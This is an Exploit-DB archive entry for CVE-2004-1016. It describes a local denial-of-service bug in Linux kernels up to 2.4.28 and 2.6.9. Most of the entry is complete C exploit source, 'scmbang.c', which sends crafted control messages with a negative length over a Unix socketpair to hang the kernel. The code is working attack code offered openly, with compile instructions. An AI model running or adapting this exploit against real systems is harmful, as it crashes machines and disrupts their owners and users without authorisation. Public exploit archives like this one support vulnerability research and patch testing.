Linux Kernel <= 2.4.28 / <= 2.6.9 - scm_send Local DoS Exploit

2004-12-14T00:00:00
ID EDB-ID:685
Type exploitdb
Reporter Paul Starzetz
Modified 2004-12-14T00:00:00

Description

Linux Kernel <= 2.4.28 and <= 2.6.9 scm_send local DoS Exploit. CVE-2004-1016. Dos exploit for linux platform

                                        
                                            /*
*      Linux kernel 2.4 & 2.6 __scm_send DoS
*      Warning! this code will hang your machine
*
*      gcc -O2 scmbang.c -o scmbang
*
*      Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#define _GNU_SOURCE
#include &lt;stdio.h&gt;
#include &lt;errno.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;arpa/inet.h&gt;

static char buf[1024];

void
fatal (const char *msg)
{
   printf ("\n");
   if (!errno)
     {
         fprintf (stderr, "FATAL: %s\n", msg);
     }
   else
     {
         perror (msg);
     }
   printf ("\n");
   fflush (stdout);
   fflush (stderr);
   exit (1);
}

int
main (void)
{
   int s[2], r;
   struct sockaddr_in sin;
   struct msghdr *msg;
   struct cmsghdr *cmsg;

   r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
   if (r &lt; 0)
       fatal ("socketpair");

   memset (buf, 0, sizeof (buf));
   msg = (void *) buf;
   msg-&gt;msg_control = (void *) (msg + 1);

// make bad cmsgs
   cmsg = (void *) msg-&gt;msg_control;

   cmsg-&gt;cmsg_len = sizeof (*cmsg);
   cmsg-&gt;cmsg_level = 0xdeadbebe;
   cmsg-&gt;cmsg_type = 12;       // len after overflow on second msg
   cmsg++;

// -12 for deadlock
   cmsg-&gt;cmsg_len = -12;
   cmsg-&gt;cmsg_level = SOL_IP;
   msg-&gt;msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg-&gt;msg_control;
   r = sendmsg (s[0], msg, 0);
   if (r &lt; 0)
       fatal ("sendmsg");

   printf ("\nYou lucky\n");
   fflush (stdout);

   return 0;
}

// milw0rm.com [2004-12-14]